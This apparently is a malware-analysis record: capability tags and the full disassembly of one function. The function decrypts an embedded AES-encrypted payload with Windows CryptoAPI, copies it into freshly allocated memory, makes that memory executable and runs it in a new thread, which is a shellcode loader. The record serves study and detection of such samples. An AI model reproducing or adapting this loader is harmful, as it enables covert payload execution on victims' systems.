Function at 0x4010c0
Capabilities:
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xf4
movaps xmm0, xmmword [0x40e190]
push esi
push 4
push 0x3000
push 0xd0
push 0
mov dword [esp + 0xf4], 0
movups xmmword [esp + 0xf8], xmm0
mov dword [esp + 0x14], 0x4eb4cd74
mov dword [esp + 0x18], 0x30b7f9db
mov dword [esp + 0x1c], 0x386ba008
mov dword [esp + 0x20], 0x4cfe0fb1
mov dword [esp + 0x24], 0x6c1f822d
mov dword [esp + 0x28], 0x5e941872
mov dword [esp + 0x2c], 0xa48ca71c
mov dword [esp + 0x30], 0xca4ac81f
mov dword [esp + 0x34], 0x1fc80643
mov dword [esp + 0x38], 0xe309f994
mov dword [esp + 0x3c], 0x1db2e1b4
mov dword [esp + 0x40], 0x5272753b
mov dword [esp + 0x44], 0x231be62e
mov dword [esp + 0x48], 0x1101b59e
mov dword [esp + 0x4c], 0xd4306ebd
mov dword [esp + 0x50], 0x2f78acba
mov dword [esp + 0x54], 0x52ac4b70
mov dword [esp + 0x58], 0x6874908f
mov dword [esp + 0x5c], 0xef73f3a5
mov dword [esp + 0x60], 0x85e922b3
mov dword [esp + 0x64], 0x6e3137a6
mov dword [esp + 0x68], 0x722897e5
mov dword [esp + 0x6c], 0x6ae6f6ae
mov dword [esp + 0x70], 0x1b78d180
mov dword [esp + 0x74], 0x8024451
mov dword [esp + 0x78], 0xa59ffbdc
mov dword [esp + 0x7c], 0xe71c139e
mov dword [esp + 0x80], 0x9b6b086c
mov dword [esp + 0x84], 0x976c0f54
mov dword [esp + 0x88], 0x5c6d245f
mov dword [esp + 0x8c], 0xa526267c
mov dword [esp + 0x90], 0x9f400ce6
mov dword [esp + 0x94], 0x2a296cbe
mov dword [esp + 0x98], 0xa8c67309
mov dword [esp + 0x9c], 0xddd35696
mov dword [esp + 0xa0], 0xb31c83ba
mov dword [esp + 0xa4], 0xf9881574
mov dword [esp + 0xa8], 0x56ed0760
mov dword [esp + 0xac], 0x3bb9f16d
mov dword [esp + 0xb0], 0x10599e1d
mov dword [esp + 0xb4], 0x6936a977
mov dword [esp + 0xb8], 0x11c22509
mov dword [esp + 0xbc], 0x30aa543e
mov dword [esp + 0xc0], 0x1f59becc
mov dword [esp + 0xc4], 0x6de2b310
mov dword [esp + 0xc8], 0xaffc947
mov dword [esp + 0xcc], 0x23aa79a8
mov dword [esp + 0xd0], 0x410724d
mov dword [esp + 0xd4], 0xeaedbbb4
mov dword [esp + 0xd8], 0x518b4701
mov dword [esp + 0xdc], 0xba74163f
mov dword [esp + 0xe0], 0x56c5de7
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xf0000000
push 0x18
push 0
mov esi, eax
mov dword [esp + 0xec], 0xd0
push 0
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4013c5
lea eax, [esp + 0xd8]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0xe4]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4013c5
push 0
push 0x10
lea eax, [esp + 0xf0]
push eax
push dword [esp + 0xe4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4013c5
lea eax, [esp + 0xdc]
push eax
push 0
push dword [esp + 0xe0]
push 0x6610
push dword [esp + 0xe4]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x4013c5
lea eax, [esp + 0xe0]
push eax
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push dword [esp + 0xf0]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x4013c5
push 0
push dword [esp + 0xd8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [esp + 0xd8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push dword [esp + 0xdc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0xd0
lea eax, [esp + 8]
push eax
push esi
call fcn.00401f70
add esp, 0xc
lea eax, [esp + 0xe4]
push eax
push 0x20
push 0xd0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40140c
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop esi
add esp, 0xf4
ret